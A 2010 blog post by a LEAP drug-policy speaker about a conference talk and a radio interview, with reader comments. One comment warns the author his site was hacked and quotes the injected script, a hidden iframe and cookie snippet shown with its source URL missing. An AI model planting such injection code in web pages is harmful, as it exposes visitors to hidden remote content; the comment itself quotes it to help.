Monday, July 12, 2010

The weather is too sunny to post on the blog.

Summertime posting has been slow lately, mainly because I've been going to too many BBQ's. :-) That said, I've still been busy working hard for LEAP.

Yesterday I presented at the Idea Wave conference. This was my first time speaking publicly in my home city and I was very pleased to be able to do that. The format was interesting: fifty speakers, ten minutes each, no limits on subject matter. You would think that a ten minute presentation would be easier than an hour long presentation. This is definitely not the case! I did a lot of preparation in order to jam everything I could into ten minutes. The conference organizer will be posting video of one talk each week, so at some point during the next year my presentation will be online.

Today I was on The Bill Good Show on CKNW radio in Vancouver. I was nervous but hopefully the interview sounded OK. I talked about the Vienna Declaration and how prohibition contributes to the HIV epidemic. The interview should be online in the next day or so.

Lots of good things are happening behind the scenes at LEAP, and I'm confident the organization is headed in a positive direction. Stay tuned for some great announcements later this summer and in the fall.


  1. Excellent work, sir! Keep this up and LEAP will become a household word in no time.

  2. Great work. I bet Walter would love to trade Murderville for Margaritaville. :-(

    I am checking out the Idea Wave conference site, and decided to click on your name to see what's up at your website, and I hate to be the bearer of bad news, but you've been hacked by the Chinese. Or at least your web page contains a JavaScript that points to a Chinese server.

    My web browsers use a Google service to inform me of such matters. So I decided to load the page any way and see if I could help. Inspecting the source I see, near the bottom, this:

    <script language="JavaScript" type="text/javascript">
    if ("ztr=7") == -1) {
    tgzr=document.getElementById('unrj');if(tgzr==null){document.write('<iframe id=unrj src= style=display:none></iframe>');}
    document.cookie = "ztr=7;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}

    You can see it's loading a JavaScript from (cn = China) and at least putting a cookie in the browser files.

    So how did that happen? Hard to tell, could be a flaw in your host's server that was exploited. Could be hacker's guessed your password to log in and make changes. Could be some other options which I won't ramble on about.

    Anyway, back to seeing the pages you link to…


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